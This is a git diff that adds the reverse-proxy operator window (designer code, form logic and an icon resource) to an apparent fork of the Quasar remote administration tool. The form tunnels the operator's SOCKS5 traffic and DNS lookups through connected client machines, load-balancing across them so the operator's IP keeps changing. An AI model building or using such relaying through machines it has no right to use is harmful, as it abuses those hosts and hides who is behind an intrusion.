/wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.Designer.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.Designer.cs new file mode 100755 index 0000000..bcde0ca --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.Designer.cs @@ -0,0 +1,287 @@ +using Quasar.Server.Controls; + +namespace Quasar.Server.Forms +{ + partial class FrmReverseProxy + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + this.components = new System.ComponentModel.Container(); + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmReverseProxy)); + this.btnStart = new System.Windows.Forms.Button(); + this.lblLocalServerPort = new System.Windows.Forms.Label(); + this.nudServerPort = new System.Windows.Forms.NumericUpDown(); + this.tabCtrl = new System.Windows.Forms.TabControl(); + this.tabPage1 = new System.Windows.Forms.TabPage(); + this.contextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components); + this.killConnectionToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.btnStop = new System.Windows.Forms.Button(); + this.lblProxyInfo = new System.Windows.Forms.Label(); + this.label1 = new System.Windows.Forms.Label(); + this.lblLoadBalance = new System.Windows.Forms.Label(); + this.lstConnections = new AeroListView(); + this.columnHeader6 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader7 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader1 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader2 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader3 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader4 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + this.columnHeader5 = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader())); + ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).BeginInit(); + this.tabCtrl.SuspendLayout(); + this.tabPage1.SuspendLayout(); + this.contextMenuStrip.SuspendLayout(); + this.SuspendLayout(); + // + // btnStart + // + this.btnStart.Location = new System.Drawing.Point(243, 12); + this.btnStart.Name = "btnStart"; + this.btnStart.Size = new System.Drawing.Size(114, 23); + this.btnStart.TabIndex = 0; + this.btnStart.Text = "Start Listening"; + this.btnStart.UseVisualStyleBackColor = true; + this.btnStart.Click += new System.EventHandler(this.btnStart_Click); + // + // lblLocalServerPort + // + this.lblLocalServerPort.AutoSize = true; + this.lblLocalServerPort.Location = new System.Drawing.Point(22, 17); + this.lblLocalServerPort.Name = "lblLocalServerPort"; + this.lblLocalServerPort.Size = new System.Drawing.Size(91, 13); + this.lblLocalServerPort.TabIndex = 1; + this.lblLocalServerPort.Text = "Local Server Port"; + // + // nudServerPort + // + this.nudServerPort.Location = new System.Drawing.Point(117, 15); + this.nudServerPort.Maximum = new decimal(new int[] { + 65534, + 0, + 0, + 0}); + this.nudServerPort.Minimum = new decimal(new int[] { + 1, + 0, + 0, + 0}); + this.nudServerPort.Name = "nudServerPort"; + this.nudServerPort.Size = new System.Drawing.Size(120, 22); + this.nudServerPort.TabIndex = 2; + this.nudServerPort.TextAlign = System.Windows.Forms.HorizontalAlignment.Center; + this.nudServerPort.Value = new decimal(new int[] { + 3128, + 0, + 0, + 0}); + this.nudServerPort.ValueChanged += new System.EventHandler(this.nudServerPort_ValueChanged); + // + // tabCtrl + // + this.tabCtrl.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) + | System.Windows.Forms.AnchorStyles.Left) + | System.Windows.Forms.AnchorStyles.Right))); + this.tabCtrl.Controls.Add(this.tabPage1); + this.tabCtrl.Location = new System.Drawing.Point(26, 115); + this.tabCtrl.Name = "tabCtrl"; + this.tabCtrl.SelectedIndex = 0; + this.tabCtrl.Size = new System.Drawing.Size(736, 274); + this.tabCtrl.TabIndex = 3; + // + // tabPage1 + // + this.tabPage1.Controls.Add(this.lstConnections); + this.tabPage1.Location = new System.Drawing.Point(4, 22); + this.tabPage1.Name = "tabPage1"; + this.tabPage1.Padding = new System.Windows.Forms.Padding(3); + this.tabPage1.Size = new System.Drawing.Size(728, 248); + this.tabPage1.TabIndex = 0; + this.tabPage1.Text = "Open Connections"; + this.tabPage1.UseVisualStyleBackColor = true; + // + // contextMenuStrip + // + this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { + this.killConnectionToolStripMenuItem}); + this.contextMenuStrip.Name = "contextMenuStrip1"; + this.contextMenuStrip.Size = new System.Drawing.Size(156, 26); + // + // killConnectionToolStripMenuItem + // + this.killConnectionToolStripMenuItem.Name = "killConnectionToolStripMenuItem"; + this.killConnectionToolStripMenuItem.Size = new System.Drawing.Size(155, 22); + this.killConnectionToolStripMenuItem.Text = "Kill Connection"; + this.killConnectionToolStripMenuItem.Click += new System.EventHandler(this.killConnectionToolStripMenuItem_Click); + // + // btnStop + // + this.btnStop.Enabled = false; + this.btnStop.Location = new System.Drawing.Point(363, 12); + this.btnStop.Name = "btnStop"; + this.btnStop.Size = new System.Drawing.Size(114, 23); + this.btnStop.TabIndex = 4; + this.btnStop.Text = "Stop Listening"; + this.btnStop.UseVisualStyleBackColor = true; + this.btnStop.Click += new System.EventHandler(this.btnStop_Click); + // + // lblProxyInfo + // + this.lblProxyInfo.AutoSize = true; + this.lblProxyInfo.Location = new System.Drawing.Point(23, 51); + this.lblProxyInfo.Name = "lblProxyInfo"; + this.lblProxyInfo.Size = new System.Drawing.Size(312, 13); + this.lblProxyInfo.TabIndex = 5; + this.lblProxyInfo.Text = "Connect to this SOCKS5 Proxy: 127.0.0.1:3128 (no user/pass)"; + // + // label1 + // + this.label1.AutoSize = true; + this.label1.Location = new System.Drawing.Point(23, 67); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(405, 13); + this.label1.TabIndex = 6; + this.label1.Text = "All the DNS Queries will be executed at the remote client to reduce DNS Leaks"; + // + // lblLoadBalance + // + this.lblLoadBalance.AutoSize = true; + this.lblLoadBalance.Location = new System.Drawing.Point(23, 84); + this.lblLoadBalance.Name = "lblLoadBalance"; + this.lblLoadBalance.Size = new System.Drawing.Size(105, 13); + this.lblLoadBalance.TabIndex = 7; + this.lblLoadBalance.Text = "[Load Balance Info]"; + // + // lstConnections + // + this.lstConnections.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] { + this.columnHeader6, + this.columnHeader7, + this.columnHeader1, + this.columnHeader2, + this.columnHeader3, + this.columnHeader4, + this.columnHeader5}); + this.lstConnections.ContextMenuStrip = this.contextMenuStrip; + this.lstConnections.Dock = System.Windows.Forms.DockStyle.Fill; + this.lstConnections.FullRowSelect = true; + this.lstConnections.GridLines = true; + this.lstConnections.Location = new System.Drawing.Point(3, 3); + this.lstConnections.Name = "lstConnections"; + this.lstConnections.Size = new System.Drawing.Size(722, 242); + this.lstConnections.TabIndex = 0; + this.lstConnections.UseCompatibleStateImageBehavior = false; + this.lstConnections.View = System.Windows.Forms.View.Details; + this.lstConnections.VirtualMode = true; + this.lstConnections.RetrieveVirtualItem += new System.Windows.Forms.RetrieveVirtualItemEventHandler(this.LvConnections_RetrieveVirtualItem); + // + // columnHeader6 + // + this.columnHeader6.Text = "Client IP"; + this.columnHeader6.Width = 106; + // + // columnHeader7 + // + this.columnHeader7.Text = "Client Country"; + this.columnHeader7.Width = 106; + // + // columnHeader1 + // + this.columnHeader1.Text = "Target Server"; + this.columnHeader1.Width = 135; + // + // columnHeader2 + // + this.columnHeader2.Text = "Target Port"; + this.columnHeader2.Width = 68; + // + // columnHeader3 + // + this.columnHeader3.Text = "Total Received"; + this.columnHeader3.Width = 105; + // + // columnHeader4 + // + this.columnHeader4.Text = "Total Sent"; + this.columnHeader4.Width = 95; + // + // columnHeader5 + // + this.columnHeader5.Text = "Proxy Type"; + this.columnHeader5.Width = 90; + // + // FrmReverseProxy + // + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(777, 402); + this.Controls.Add(this.lblLoadBalance); + this.Controls.Add(this.label1); + this.Controls.Add(this.lblProxyInfo); + this.Controls.Add(this.btnStop); + this.Controls.Add(this.tabCtrl); + this.Controls.Add(this.nudServerPort); + this.Controls.Add(this.lblLocalServerPort); + this.Controls.Add(this.btnStart); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "FrmReverseProxy"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Reverse Proxy []"; + this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmReverseProxy_FormClosing); + this.Load += new System.EventHandler(this.FrmReverseProxy_Load); + ((System.ComponentModel.ISupportInitialize)(this.nudServerPort)).EndInit(); + this.tabCtrl.ResumeLayout(false); + this.tabPage1.ResumeLayout(false); + this.contextMenuStrip.ResumeLayout(false); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.Button btnStart; + private System.Windows.Forms.Label lblLocalServerPort; + private System.Windows.Forms.NumericUpDown nudServerPort; + private System.Windows.Forms.TabControl tabCtrl; + private System.Windows.Forms.TabPage tabPage1; + private AeroListView lstConnections; + private System.Windows.Forms.ColumnHeader columnHeader1; + private System.Windows.Forms.ColumnHeader columnHeader2; + private System.Windows.Forms.ColumnHeader columnHeader3; + private System.Windows.Forms.ColumnHeader columnHeader4; + private System.Windows.Forms.ColumnHeader columnHeader5; + private System.Windows.Forms.Button btnStop; + private System.Windows.Forms.Label lblProxyInfo; + private System.Windows.Forms.ContextMenuStrip contextMenuStrip; + private System.Windows.Forms.ToolStripMenuItem killConnectionToolStripMenuItem; + private System.Windows.Forms.ColumnHeader columnHeader6; + private System.Windows.Forms.ColumnHeader columnHeader7; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label lblLoadBalance; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.cs new file mode 100755 index 0000000..cc104d7 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.cs @@ -0,0 +1,231 @@ +using Quasar.Common.Helpers; +using Quasar.Common.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Messages; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Networking; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.ReverseProxy; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Utilities; +using System; +using System.Globalization; +using System.Net.Sockets; +using System.Windows.Forms; + +namespace Quasar.Server.Forms +{ + public partial class FrmReverseProxy : Form + { + /// + /// The clients which can be used for the reverse proxy. + /// + private readonly Client[] _clients; + + /// + /// The message handler for handling the communication with the clients. + /// + private readonly ReverseProxyHandler _reverseProxyHandler; + + /// + /// The open reverse proxy connections. + /// + private ReverseProxyClient[] _openConnections; + + /// + /// Initializes a new instance of the class using the given clients. + /// + /// The clients used for the reverse proxy form. + public FrmReverseProxy(Client[] clients) + { + this._clients = clients; + this._reverseProxyHandler = new ReverseProxyHandler(clients); + + RegisterMessageHandler(); + InitializeComponent(); + } + + /// + /// Registers the reverse proxy message handler for client communication. + /// + private void RegisterMessageHandler() + { + //_connectClient.ClientState += ClientDisconnected; + _reverseProxyHandler.ProgressChanged += ConnectionChanged; + MessageHandler.Register(_reverseProxyHandler); + } + + /// + /// Unregisters the reverse proxy message handler. + /// + private void UnregisterMessageHandler() + { + MessageHandler.Unregister(_reverseProxyHandler); + _reverseProxyHandler.ProgressChanged -= ConnectionChanged; + //_connectClient.ClientState -= ClientDisconnected; + } + + /// + /// Called whenever a client disconnects. + /// + /// The client which disconnected. + /// True if the client connected, false if disconnected + /// TODO: Handle disconnected clients + private void ClientDisconnected(Client client, bool connected) + { + if (!connected) + { + this.Invoke((MethodInvoker)this.Close); + } + } + + private void FrmReverseProxy_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + if (_clients.Length > 1) + { + this.Text = "Reverse Proxy [Load-Balancer is active]"; + lblLoadBalance.Text = "The Load Balancer is active, " + _clients.Length + " clients will be used as proxy\r\nKeep refreshing at www.ipchicken.com to see if your ip address will keep changing, if so, it works"; + } + else if (_clients.Length == 1) + { + this.Text = WindowHelper.GetWindowTitle("Reverse Proxy", _clients[0]); + lblLoadBalance.Text = "The Load Balancer is not active, only 1 client is used, select multiple clients to activate the load balancer"; + } + nudServerPort.Value = Settings.ReverseProxyPort; + } + + private void FrmReverseProxy_FormClosing(object sender, FormClosingEventArgs e) + { + Settings.ReverseProxyPort = GetPortSafe(); + UnregisterMessageHandler(); + _reverseProxyHandler.Dispose(); + } + + private void ConnectionChanged(object sender, ReverseProxyClient[] proxyClients) + { + lock (_reverseProxyHandler) + { + lstConnections.BeginUpdate(); + _openConnections = proxyClients; + lstConnections.VirtualListSize = _openConnections.Length; + lstConnections.EndUpdate(); + } + } + + private void btnStart_Click(object sender, EventArgs e) + { + try + { + ushort port = GetPortSafe(); + + if (port == 0) + { + MessageBox.Show("Please enter a valid port > 0.", "Please enter a valid port", MessageBoxButtons.OK, + MessageBoxIcon.Warning); + return; + } + + _reverseProxyHandler.StartReverseProxyServer(port); + ToggleConfigurationButtons(true); + } + catch (SocketException ex) + { + if (ex.ErrorCode == 10048) + { + MessageBox.Show("The port is already in use.", "Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + else + { + MessageBox.Show($"An unexpected socket error occurred: {ex.Message}\n\nError Code: {ex.ErrorCode}", + "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + catch (Exception ex) + { + MessageBox.Show($"An unexpected error occurred: {ex.Message}", "Unexpected Listen Error", MessageBoxButtons.OK, MessageBoxIcon.Error); + } + } + + /// + /// Safely gets the value from the and parses it as . + /// + /// The server port parsed as . Returns 0 on error. + private ushort GetPortSafe() + { + var portValue = nudServerPort.Value.ToString(CultureInfo.InvariantCulture); + return (!ushort.TryParse(portValue, out ushort port)) ? (ushort)0 : port; + } + + /// + /// Toggles the activatability of configuration controls. + /// + /// When set to true the configuration controls get enabled, otherwise they get disabled. + private void ToggleConfigurationButtons(bool started) + { + btnStart.Enabled = !started; + nudServerPort.Enabled = !started; + btnStop.Enabled = started; + } + + private void btnStop_Click(object sender, EventArgs e) + { + ToggleConfigurationButtons(false); + _reverseProxyHandler.StopReverseProxyServer(); + } + + private void nudServerPort_ValueChanged(object sender, EventArgs e) + { + lblProxyInfo.Text = string.Format("Connect to this SOCKS5 Proxy: 127.0.0.1:{0} (no user/pass)", nudServerPort.Value); + } + + private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) + { + lock (_reverseProxyHandler) + { + if (e.ItemIndex < _openConnections.Length) + { + ReverseProxyClient connection = _openConnections[e.ItemIndex]; + + e.Item = new ListViewItem(new string[] + { + connection.Client.EndPoint.ToString(), + connection.Client.Value.Country, + (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer, + connection.TargetPort.ToString(), + StringHelper.GetHumanReadableFileSize(connection.LengthReceived), + StringHelper.GetHumanReadableFileSize(connection.LengthSent), + connection.Type.ToString() + }) { Tag = connection }; + } + } + } + + private void killConnectionToolStripMenuItem_Click(object sender, EventArgs e) + { + lock (_reverseProxyHandler) + { + if (lstConnections.SelectedIndices.Count > 0) + { + //copy the list, it could happen that suddenly the items de-select + int[] items = new int[lstConnections.SelectedIndices.Count]; + lstConnections.SelectedIndices.CopyTo(items, 0); + + foreach (int index in items) + { + if (index < _openConnections.Length) + { + ReverseProxyClient connection = _openConnections[index]; + connection?.Disconnect(); + } + } + } + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.resx new file mode 100755 index 0000000..b8bc596 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmReverseProxy.resx @@ -0,0 +1,662 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + 